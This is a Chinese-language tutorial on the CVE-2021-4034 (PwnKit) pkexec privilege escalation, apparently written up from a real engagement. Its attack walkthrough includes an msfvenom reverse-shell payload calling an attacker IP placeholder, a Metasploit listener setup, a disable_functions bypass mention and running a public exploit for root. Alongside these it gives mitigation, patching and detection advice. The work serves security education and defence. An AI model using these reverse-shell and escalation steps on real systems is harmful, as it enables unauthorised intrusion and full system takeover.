一次实战中的CVE-2021-4034提权
字数 2102 2025-08-10 17:51:49
CVE-2021-4034 (PwnKit) 提权漏洞分析与利用教程
漏洞概述
CVE-2021-4034 是一个在Polkit的pkexec组件中发现的本地提权漏洞,由Qualys安全团队在2022年1月25日披露。该漏洞允许任意非特权用户通过精心构造的环境变量在默认配置下获得目标系统的root权限。
漏洞原理
技术背景
pkexec是Polkit (PolicyKit)框架的一部分,是一个用于在类Unix操作系统中以提升的权限执行命令的程序。它类似于sudo,但提供了更细粒度的访问控制。
漏洞成因
该漏洞的根本原因在于pkexec对命令行参数的处理存在缺陷:
- 参数处理错误:当pkexec被调用时没有传递任何参数时(argc=0),它会错误地尝试读取并处理argv[1]作为环境变量
- 内存越界访问:由于C语言中argv和envp在内存中是相邻存储的,当argc=0时,argv[1]实际上会指向第一个环境变量
- 环境变量注入:攻击者可以精心构造环境变量,导致pkexec加载并执行恶意库
影响范围
- 影响所有安装了polkit且pkexec具有SUID位的Linux系统
- 漏洞存在于2009年5月首次引入的代码中,影响几乎所有主流Linux发行版
- 已确认受影响的版本:pkexec版本早于0.120
漏洞复现步骤
环境准备
- 获取目标系统的低权限shell
- 确认目标系统存在漏洞:
- 检查pkexec版本:
pkexec --version - 检查pkexec的SUID权限:
ls -la /usr/bin/pkexec
- 检查pkexec版本:
详细利用过程
步骤1:获取初始立足点
通过Web漏洞获取webshell或通过其他方式获得低权限shell访问。
步骤2:绕过限制(如PHP限制函数)
如果通过PHP webshell访问,可能需要先绕过PHP的限制函数:
- 使用插件或特殊技术绕过disable_functions限制
- 确保能够执行系统命令
步骤3:生成反向shell载荷
在攻击者机器上(如Kali Linux)使用msfvenom生成Linux反向shell:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<攻击者IP> LPORT=12333 -f elf -o shell.elf
步骤4:上传载荷到目标系统
使用蚁剑或其他工具将生成的elf文件上传到目标服务器:
- 确保上传到可写目录,如/tmp或/var/tmp
- 给予执行权限:
chmod +x shell.elf
步骤5:设置监听器
在攻击者机器上启动Metasploit监听:
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST <攻击者IP>
set LPORT 12333
run
步骤6:执行反向shell
在目标系统上执行上传的shell.elf:
./shell.elf
步骤7:验证pkexec漏洞存在
在获得的meterpreter会话中检查:
which pkexec
ls -la /usr/bin/pkexec
确认pkexec具有SUID权限(-rwsr-xr-x)且属于root。
步骤8:上传并执行漏洞利用脚本
- 下载公开的CVE-2021-4034利用脚本(如来自GitHub的POC)
- 上传到目标系统
- 给予执行权限:
chmod +x exploit - 执行脚本:
./exploit
步骤9:验证提权成功
执行:
whoami
应返回"root"表示提权成功。
漏洞修复方案
临时缓解措施
- 移除pkexec的SUID位:
chmod 0755 /usr/bin/pkexec - 限制对pkexec的访问:
chmod 700 /usr/bin/pkexec
永久修复方案
升级polkit到已修复版本:
- Debian/Ubuntu:
apt-get update && apt-get install policykit-1 - RHEL/CentOS:
yum update polkit - 其他发行版使用相应的包管理工具更新
技术深入分析
漏洞代码层面分析
漏洞存在于pkexec的main()函数中,关键问题代码:
/* main()函数处理参数部分 */
int main(int argc, char *argv[]) {
/* ... */
path = g_strdup (argv[1]); // 当argc=0时,argv[1]实际上是envp[0]
/* ... */
if (path[0] != '/') {
/* 处理相对路径 */
s = g_find_program_in_path (path); // 可能加载恶意库
/* ... */
}
/* ... */
execve (path, argv, envp); // 执行恶意命令
}
利用技术细节
攻击者通过以下步骤利用该漏洞:
- 构造一个特殊的argv和envp布局,使得argv[1]指向恶意环境变量
- 设置PATH环境变量包含攻击者控制的目录
- 设置GCONV_PATH环境变量指向恶意gconv模块
- 当pkexec尝试解析相对路径时,会加载攻击者提供的恶意库
- 恶意库中的代码以root权限执行
防御建议
- 最小权限原则:限制系统中SUID/SGID程序的数量
- 及时更新:定期检查并应用安全更新
- 入侵检测:监控异常进程执行,特别是pkexec的异常调用
- 安全加固:使用SELinux/AppArmor等MAC机制限制pkexec的行为
- 日志审计:加强pkexec相关操作的日志记录和监控
参考资源
- Qualys官方公告:https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
- MITRE CVE条目:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4034
- NVD漏洞详情:https://nvd.nist.gov/vuln/detail/CVE-2021-4034
- 各发行版安全公告:Debian、Red Hat、Ubuntu等官方安全通告
免责声明
本文档仅供安全研究和教育目的使用。未经授权对他人系统进行测试是违法行为。在实际渗透测试中,请确保获得系统所有者的明确授权。